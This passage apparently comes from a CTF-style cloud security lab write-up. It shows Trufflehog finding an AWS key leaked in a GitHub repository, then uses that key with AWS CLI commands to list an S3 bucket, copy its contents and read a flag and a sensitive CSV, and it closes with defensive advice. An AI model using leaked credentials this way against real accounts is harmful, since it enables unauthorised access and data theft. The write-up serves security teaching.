&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxf60jb0lwg0axlasgymi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxf60jb0lwg0axlasgymi.png" alt="Fig. 4" width="645" height="492"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Using Trufflehog to scan the cloned repository.
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;trufflehog --regex --entropy=False ./cargo-logistics-dev/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsnw5n6ia603gnv147fmx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsnw5n6ia603gnv147fmx.png" alt="Fig. 5" width="559" height="333"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also, you can scan the github repository URL directly. Hence, there won't be a need to download the repository locally using the below command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;trufflehog https://github.com/huge-logistics/cargo-logistics-dev --max_depth 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxzq6ar37vgnvapea2yk1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxzq6ar37vgnvapea2yk1.png" alt="Fig. 6" width="645" height="638"&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;From the above, we discovered an AWS access key that can be configured in the AWS CLI. Additionally, take note of the S3 bucket name, source file, and the region where the bucket is located—these details are crucial for our enumeration.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Configure an awscli profile using the exposed credentials and confirm the identity.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws configure --profile &amp;lt;name of your profile&amp;gt; 
aws sts get-caller-identity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F16mwis5molkrqmfbjbhp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F16mwis5molkrqmfbjbhp.png" alt="Fig. 7" width="524" height="125"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Now, list the content of the S3 bucket &lt;code&gt;huge-logistics-transact&lt;/code&gt; using the command
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws s3 ls s3://huge-logistics-transact --profile &amp;lt;name of your profile&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu1yt9k6soq0wc8d5t1ua.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu1yt9k6soq0wc8d5t1ua.png" alt="Fig. 8" width="575" height="103"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Copy the content of the bucket to your local PC using the below command format - &lt;code&gt;aws s3 cp s3://&amp;lt;bucket name&amp;gt; &amp;lt;destination location on your PC&amp;gt; --profile &amp;lt;your profile name&amp;gt; --recursive.&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws s3 cp s3://huge-logistics-transact ./exposed_bucket --profile exposed-secret --recursive 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj52j68ty23qlzur05601.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj52j68ty23qlzur05601.png" alt="Fig. 9" width="633" height="146"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Finally, you view the &lt;code&gt;flag.txt&lt;/code&gt; file and the &lt;code&gt;web_transaction.csv&lt;/code&gt;  file, which contains highly sensitive data.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0otjogqbkjuk2twjr2gg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0otjogqbkjuk2twjr2gg.png" alt="Fig. 10" width="566" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Defense
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Never hardcode your AWS credentials to your scripts or code rather make use of the AWS Secret Manager which enables you rotate your secrets.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Finally, ensure you always run a &lt;strong&gt;git-secret&lt;/strong&gt; before committing to your git repository as it would prevent the commit if credentials are seen. You can also infuse it into your pipeline to automatically scan before committing your code changes to your git repository.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Refer to this AWS &lt;a href="https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/" rel="noopener noreferrer"&gt;documentation&lt;/a&gt; for guidance on remediating exposed AWS credentials. &lt;/p&gt;

</description>
      <category>aws</category>
      <category>cloudsecurity</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
